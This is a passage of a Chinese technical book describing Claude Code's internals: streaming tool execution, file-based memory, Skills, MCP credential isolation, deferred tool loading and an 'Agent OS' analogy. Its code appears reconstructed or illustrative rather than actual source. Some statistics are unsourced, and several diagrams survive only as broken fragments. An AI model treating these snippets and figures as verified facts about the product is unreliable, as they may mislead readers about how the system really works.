在传统的同步 Agent 中,执行流程是串行的:等模型输出完毕 → 解析工具调用 → 执行工具 → 等结果 → 再发给模型。每一步之间都有等待空隙。而 Claude Code 实现了流式重叠执行(Streaming Overlap Execution):模型还在吐字的时候,前一个工具调用的参数解析和校验已经在内存中悄然完成了。
// 流式工具执行的核心模式:AsyncGenerator
export async function* streamedCheckPermissionsAndCallTool(
toolUse: ToolUseBlock,
tool: Tool,
context: ToolUseContext
): AsyncGenerator<ToolUpdate> {
// 阶段1:流入的同时进行 Zod 校验(零等待)
const parsed = tool.inputSchema.safeParse(toolUse.input);
if (!parsed.success) {
yield { type: 'error', message: formatZodError(parsed.error) };
return;
}
// 阶段2:Hook 拦截(与渲染并行)
for await (const hookResult of runPreToolUseHooks(context, tool, parsed.data)) {
yield hookResult;
if (hookResult.type === 'stop') return;
}
// 阶段3:真正的底层执行
const result = await tool.call(parsed.data, context);
yield { type: 'result', data: result };
}
这段代码的关键在于 async function*(异步生成器)模式。每一个 yield 都是一次中间状态的"推送"。这意味着:
- 阶段1(Zod 校验)在模型输出完 JSON 参数的瞬间就开始了——不需要等整个回复结束。
- 阶段2(Hook 拦截)同样是流式的——每个 Hook 产生的结果(允许/拒绝/篡改)都会立刻通过 yield 推送给上层,上层可以实时渲染权限确认弹窗。
- 阶段3(实际执行)只有在前两个阶段全部通过后才会触发。
从用户视角看:模型在"打字"的同时,安全校验已经在后台悄悄完成了。当模型输出最后一个字符时,工具执行几乎可以瞬间启动。
感知延迟 vs 实际延迟: 用户体验中有一个经典法则——人类对"进度可见的等待"的容忍度是"黑屏等待"的 5-10 倍。流式渲染让用户在等待工具执行结果的同时,已经看到了模型的推理过程和下一步计划。更妙的是,这不仅仅是 UI 上的障眼法:由于 Zod 校验和 Hook 拦截确实在流式阶段完成了,实际的端到端延迟也被压缩了。这是一个罕见的"既好看又真快"的架构设计。
ask,上层会立刻暂停流式管线并弹出权限确认。只有人类点击"允许"后,管线才会继续到阶段3。流式是优化,不是跳过安全检查。第16章:Scratchpad 持久记忆 —— 跨会话的知识晶体
大语言模型有一个致命的先天缺陷:每次会话都是从零开始。 你昨天花了两个小时和 Agent 一起调通的 API 对接方案,今天开一个新会话,它全忘了。它不知道你的项目用了哪个数据库,不知道你上周做了什么决策,不知道你踩过哪些坑。
为了解决这个问题,Claude Code 引入了一套文件系统原生的持久记忆机制。核心思想极其朴素:既然模型擅长读写文件,那就把记忆写成文件。CLAUDE.md 是项目级的"操作手册",memory/ 目录是个人级的"记忆银行",Scratchpad 是任务内的"草稿纸"。三者构成了从长期到短期的完整记忆光谱。
// CLAUDE.md 加载机制(会话启动时自动注入)
function loadProjectInstructions(projectDir: string): string[] {
const sources = [
path.join(os.homedir(), 'CLAUDE.md'), // 全局级
path.join(projectDir, 'CLAUDE.md'), // 项目级
path.join(os.homedir(), '.claude/CLAUDE.md'), // 用户级
];
return sources
.filter(fs.existsSync)
.map(f => fs.readFileSync(f, 'utf-8'));
}
// Scratchpad(实验性功能)
if (context.enabledFeatures.includes('tengu_scratch')) {
guidance.push(
`Scratchpad is enabled at ${context.scratchpadDir}.`,
`Use it for durable notes that persist across conversations.`
);
}
// Memory 系统:自动读取 MEMORY.md 索引
// 每个记忆是一个独立的 .md 文件,MEMORY.md 是索引
// 模型通过 Read 工具按需加载具体记忆
持久记忆的三层架构:
- CLAUDE.md(长期记忆/宪法): 三级加载——全局级(用户所有项目共享)、项目级(跟随仓库)、用户级(个人偏好)。会话启动时自动注入 system prompt,模型从第一个 Token 就"知道"项目的规矩。
- Scratchpad(工作记忆/草稿纸): 一个特殊的目录,模型可以在里面自由读写笔记。这些笔记跨会话持久存在——今天写的调试线索,明天的新会话仍然可以读到。
- Memory 系统(情节记忆/日记):
MEMORY.md是索引文件(前 200 行自动加载),每条记忆指向一个独立的 .md 文件。模型通过 "index → drill down" 的方式按需获取详细记忆,而不是一次性加载全部。
(三级: 全局/项目/用户)"] A --> C["自动加载 MEMORY.md
(索引, 前200行)"] B --> D["System Prompt
(Agent 从第一个 Token 就知道规矩)"] C --> D D --> E["任务执行中"] E -->|"记录发现"| F["写入 Scratchpad
(跨会话持久)"] E -->|"重要决策"| G["写入 memory/*.md
(更新 MEMORY.md 索引)"] F --> H["下次会话
(自动可用)"] G --> H style D fill:#000,color:#fff style H fill:#10b981,color:#fff
文件系统原生 > RAG 向量检索: 很多 Agent 框架选择用向量数据库(RAG)来实现记忆。但 Claude Code 的实践证明了一个反直觉的结论:对于 Agent 来说,文件系统就是最好的记忆数据库。 原因有三:(1) Agent 天生擅长导航目录结构和跟踪交叉引用;(2) 文件系统提供了完整的上下文(Agent 可以读取整个文件,而不是被 RAG 截成的碎片);(3) 零基础设施依赖——不需要嵌入模型、向量数据库或检索管线。直到文件系统原生检索被证明不够用之前,不要投资 RAG。
卷五:扩展生态 —— Skill、MCP 与工具的无限延伸
第17章:Skill 封装协议 —— 把经验固化为基因
在没有 Skill 系统之前,用户的专业知识只能通过两种方式传递给 Agent:要么写进 CLAUDE.md(一次性加载,撑爆上下文),要么每次对话手动复述(繁琐且不一致)。这就好比一个公司的核心流程全靠口口相传——老员工一走,经验就消失了。
Claude Code 的 Skill 系统解决了这个问题。每个 Skill 是一个独立的文件夹,包含一个 SKILL.md 主文件(告诉 Agent"什么时候用、怎么用、哪些坑要避"),可选的 references/ 目录(详细的 API 文档、模板等),以及 scripts/ 目录(辅助脚本)。Skill 不在会话启动时全量加载——它通过 description 字段被"触发",只在需要时才被读入上下文。
// Skill 目录结构
.claude/skills/
deploy-to-production/
SKILL.md // 主文件:触发条件 + 使用规则 + Gotchas
references/
api-docs.md // 详细 API 参考(按需读取)
scripts/
validate-env.sh // 辅助脚本
// SKILL.md 结构示例
---
description: "Use when: deploying to production, running release pipeline.
Trigger: deploy, release, ship, 上线.
NOT for: local dev server, staging."
---
# Deploy to Production
## Steps
1. Run pre-flight checks...
2. Build production bundle...
## Gotchas
- NEVER skip the database migration check
- CloudFront cache invalidation takes 5-15 min
- Why: Last time we skipped migration, prod was down 2h
Skill 的设计哲学有三个核心原则:
- Description = 触发条件,不是功能摘要:
description字段告诉模型"什么情况下应该使用这个 Skill",而不是"这个 Skill 能做什么"。这个区别至关重要——功能摘要会导致 23% 的 Skill 永远不被触发(因为模型不知道什么时候该用它)。 - Gotchas 是最高价值内容: Gotchas 部分记录的是"真实踩过的坑",不是假设性的风险。每一条 Gotcha 都应该附带
Why(为什么这是坑)——这让模型能举一反三,而不是机械地执行规则。 - 文件夹不是文件: Skill 是一个文件夹,不是一个巨大的 Markdown。SKILL.md 告诉模型"这些参考文件存在",模型按需 Read——这就是渐进披露在 Skill 层的落地。
'部署到生产环境'"] --> B{"Skill 路由器
(description 匹配)"} B -->|"Match: deploy-to-production"| C["加载 SKILL.md
(触发条件 + 步骤 + Gotchas)"] C --> D["Agent 执行 Skill 步骤"] D -->|"需要 API 细节"| E["Read references/api-docs.md
(渐进披露)"] D -->|"需要脚本"| F["Bash scripts/validate-env.sh
(辅助执行)"] B -->|"No Match"| G["直接执行
(无 Skill 辅助)"] style B fill:#f59e0b,color:#fff style C fill:#000,color:#fff
1 Agent + 1000 Skills > 1000 Agents: 很多框架的思路是为每个任务训练或配置一个专门的 Agent。但这导致了 Agent 扩张的泥沼——上下文冲突、路由混乱、维护成本爆炸。Skill 系统反其道而行之:收敛 Agent 的数量,扩张 Skill 的数量。 一个通用 Agent + 精心设计的 1000 个 Skill,比 1000 个各怀鬼胎的专用 Agent 更可靠、更可维护。错误的来源不是模型不够聪明,而是上下文不够精准——Skill 正是精准上下文的载体。
第18章:MCP 万能接口 —— 工具世界的 USB-C
在 MCP(Model Context Protocol,模型上下文协议)出现之前,每个外部服务接入 Agent 都需要定制开发:写一个 Tool 类、定义 Zod Schema、处理认证、管理错误。接入 Slack 需要一套代码,接入 GitHub 需要另一套,接入数据库又是另一套。这是经典的 N*M 集成问题——N 个 Agent 框架 * M 个外部服务 = N*M 种适配器。
MCP 彻底终结了这个噩梦。它定义了一个标准协议:任何外部服务只需要实现一个 MCP Server(发布工具列表和调用接口),任何 Agent 只需要实现一个 MCP Client(发现和调用工具)。N*M 的地狱变成了 N+M 的天堂。
// MCP Server 配置(settings.json)
{
"mcpServers": {
"github": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-github"],
"env": { "GITHUB_TOKEN": "..." }
},
"postgres": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-postgres"],
"env": { "DATABASE_URL": "..." }
}
}
}
// 启动时:Agent 自动发现 MCP 工具
for (const [name, config] of Object.entries(mcpServers)) {
const tools = await mcpClient.listTools(name);
// 注册为 mcp__{server}__{tool} 格式
// 例如:mcp__github__create_issue
registeredTools.push(...tools.map(t => wrapAsMcpTool(name, t)));
}
MCP 的工作流程极其简洁:
- 声明: 用户在配置文件中声明 MCP Server(名称 + 启动命令 + 环境变量)。
- 发现: Agent 启动时,对每个 MCP Server 调用
listTools(),获取该服务暴露的所有工具及其参数 Schema。 - 命名: 工具被注册为
mcp__{server}__{tool}的命名空间格式,避免不同服务之间的命名冲突。 - 调用: 当模型输出
mcp__github__create_issue时,系统将参数转发给对应的 MCP Server 进程。
关键设计:环境变量(如 GITHUB_TOKEN)只存在于 MCP Server 进程中,Agent 永远看不到真实的凭据。它只知道"我可以调用 create_issue",不知道背后用的是谁的 Token。
(MCP Client)"] --> B["MCP Protocol
(标准接口)"] B --> C["GitHub Server"] B --> D["PostgreSQL Server"] B --> E["Slack Server"] B --> F["Custom Server
(自建服务)"] C --> C1("create_issue, search_code...") D --> D1("query, insert, migrate...") E --> E1("send_message, list_channels...") style B fill:#000,color:#fff style A fill:#0070f3,color:#fff
凭据隔离的安全红利: MCP 最被低估的价值不是便利性,而是安全性。在传统架构中,Agent 需要直接持有 API Key 才能调用服务——这意味着如果 Agent 被 Prompt Injection 攻击,攻击者可能通过 Agent 的输出窥探到凭据。而 MCP 架构下,凭据只存在于 MCP Server 进程的环境变量中。Agent 和凭据之间隔了一道进程边界。Agent 可以"使用"服务,但永远无法"看到"密钥。这正是第9章安全沙盒所述的"最小权限原则"在集成层的延伸。
mcp__postgres__drop_table),权限状态机同样会触发人类确权。第19章:延迟加载与 ToolSearch —— 千柄武器的虚拟军火库
当一个 Agent 同时挂载了 GitHub、Slack、PostgreSQL、Chrome DevTools、Telegram 等十几个 MCP Server 时,这些服务加起来可能暴露几百个工具。如果把所有工具的完整 Schema(名称、参数类型、描述)全部塞进系统提示词,Token 消耗将是灾难性的——可能直接吃掉 30-50% 的上下文窗口。
Claude Code 用了一个优雅的两段式加载策略:延迟加载(Deferred Loading)。启动时只告诉模型"有这些工具存在"(名称列表),但不发送具体的参数 Schema。当模型真正需要调用某个工具时,它先调用 ToolSearch 获取完整 Schema,然后才能正确调用。
// ToolSearch:按需获取延迟加载的工具 Schema
interface ToolSearchParams {
query: string; // "select:mcp__github__create_issue" 或关键词
max_results?: number; // 默认 5
}
// 系统提示词中的延迟工具声明
`The following deferred tools are available via ToolSearch:
mcp__github__create_issue
mcp__github__search_code
mcp__postgres__query
mcp__slack__send_message
...`
// 当模型调用未加载的工具时,系统注入自愈 Hint
if (isDeferred(toolName)) {
return buildSchemaNotSentHint(tool);
// Hint: "This tool's schema hasn't been loaded yet.
// Use ToolSearch to fetch it first, then retry."
}
延迟加载的两段式协议:
- 第一段(声明): 系统提示词只包含工具的名称列表。几百个工具名总共可能只占 2-3K Token。模型"知道"这些工具存在,但不知道具体怎么调用。
- 第二段(获取): 当模型决定调用某个工具时,它先调用
ToolSearch(支持精确选择select:tool_name或关键词搜索),获取完整的参数 Schema。Schema 被注入后,模型就能正确构造 JSON 参数了。
自愈机制:如果模型"凭记忆"直接调用未加载的工具(跳过 ToolSearch),系统不会崩溃——它会返回一条 Hint:"你的 Schema 没加载,请先调用 ToolSearch 搜索这个工具,然后重试。" 模型在下一轮会自动纠正。
500 个工具名注入
(~3K Token)"] --> B["模型决定调用
mcp__github__create_issue"] B --> C{"Schema 已加载?"} C -->|Yes| D["直接调用"] C -->|No| E["调用 ToolSearch
获取完整 Schema"] E --> F["Schema 注入上下文"] F --> D B --> G{"凭记忆调用?"} G -->|参数错误| H["自愈 Hint
'请先 ToolSearch'"] H --> E style A fill:#f1f5f9,stroke:#94a3b8 style D fill:#10b981,color:#fff style H fill:#f59e0b,color:#fff
渐进披露的统一范式: 回顾整个架构,你会发现"渐进披露(Progressive Disclosure)"是一个反复出现的核心设计原则。第2章的动态组装(只注入当前环境需要的指令),第5章的身份分片(只给子代理它需要的工具),第12章的上下文压缩(只保留高价值信息),第16章的记忆系统(索引 + 按需加载),以及本章的延迟工具加载——它们都是同一个原则在不同层级的映射。本质上,整个 Agent OS 的架构就是在回答一个问题:在有限的 Token 预算中,如何让模型在每个时刻都只看到它最需要的信息?
卷六:终局 —— 从命令行工具到 Agent 操作系统
第20章:从命令行到操作系统 —— Agent OS 的范式跃迁
回顾前19章所揭示的全部架构,一个震撼的结论浮出水面:Claude Code 不再是一个命令行工具——它是一个完整的操作系统。
这不是修辞上的夸张。让我们严格地映射概念:系统提示词是内核(Kernel)——它定义了最基本的行为规则和资源调度策略。工具(Read/Edit/Bash/Search)是系统调用(Syscalls)——应用程序通过它们访问底层硬件。Skill 是用户态程序(Userspace Programs)——可安装、可卸载、可自定义。MCP 是设备驱动协议(Device Driver Protocol)——标准化了外设接入。权限系统是访问控制列表(ACL)。上下文压缩是内存管理(Memory Management)。子代理派生是进程 Fork。
// Agent OS 架构映射(概念对照)
// 内核 = System Prompt(静态规则 + 行为宪法)
getSystemPrompt(context) → "Kernel Boot"
// 系统调用 = 内置工具
tools: [Read, Edit, Write, Bash, Glob, Grep, Agent, ToolSearch]
→ "Syscall Table"
// 用户态程序 = Skills
.claude/skills/* → "Userspace Programs (installable, removable)"
// 设备驱动 = MCP Servers
mcpServers: { github, postgres, slack } → "Device Drivers"
// 进程管理 = Agent Coordinator
AgentTool.spawn(EXPLORE_AGENT) → "fork() + exec()"
AgentTool.spawn(VERIFY_AGENT) → "fork() + exec()"
MAX_SPAWN_DEPTH = 3 → "Process Tree Limit"
// 内存管理 = Context Compressor
autoCompactContext() → "Garbage Collection"
CRITICAL_THRESHOLD = 0.50 → "OOM Killer Threshold"
// 访问控制 = Permission State Machine
resolveHookPermissionDecision() → "ACL Check"
requiresInteraction: true → "sudo prompt"
// 文件系统 = CLAUDE.md + memory/ + Scratchpad
loadProjectInstructions() → "/etc/config"
MEMORY.md → "/var/log"
Scratchpad → "/tmp"
这张映射表揭示了一个深刻的架构同构:
- 内核启动 = System Prompt 编译: 就像操作系统启动时加载内核镜像,Claude Code 在会话启动时编译系统提示词。静态规则是内核代码(不变),动态状态是启动参数(每次不同)。
- Fork = 子代理派生: Unix 的 fork() 创建当前进程的副本,Claude Code 的 AgentTool.spawn() 创建当前会话的子代理。子代理继承父代理的系统提示词(就像子进程继承父进程的地址空间),但拥有独立的上下文窗口。
- GC = 上下文压缩: Java 的垃圾回收器在内存压力下自动清理无用对象。Claude Code 的 ContextCompressor 在 Token 压力下自动清理无用的对话历史。两者的目标完全一致:在有限的资源约束下最大化有效信息的密度。
- sudo = 人类确权: 当你在终端输入 sudo 时,系统会要求你输入密码来证明你是有权限的人类。当 Agent 试图执行高危操作时,权限状态机会弹出确认框——本质上就是 Agent 世界的 sudo。
(System Prompt)"] K --> SC["Syscalls
(Read/Edit/Bash/Grep)"] K --> PM["Process Manager
(Agent Coordinator)"] K --> MM["Memory Manager
(Context Compressor)"] K --> ACL["Access Control
(Permission State Machine)"] SC --> UP["Userspace Programs
(Skills)"] SC --> DD["Device Drivers
(MCP Servers)"] PM --> P1["Process 1
(Explore Agent)"] PM --> P2["Process 2
(Verify Agent)"] MM --> FS["File System
(CLAUDE.md / memory/)"] end style K fill:#000,color:#fff style SC fill:#0070f3,color:#fff style PM fill:#0070f3,color:#fff style MM fill:#0070f3,color:#fff style ACL fill:#ef4444,color:#fff
限制因素从来不是模型: 回到本书开篇的核心命题。OpenAI 用 3 个 Harness 工程师(不写代码的人)交付了 100 万行代码。这个数据点证明了:大模型的智力已经足够强大,瓶颈在于它周围的操作系统。 提示词缓存经济学(第3章)、行为圣经(第4章)、身份分片(第5章)、权限状态机(第8章)、上下文压缩(第12-13章)、Skill 系统(第17章)、MCP 协议(第18章)——这些都不是在"教模型如何思考",而是在"为模型构建它赖以运行的操作系统"。未来的 AI 工程师,不是写更好的提示词的人,而是构建更好的 Harness 的人。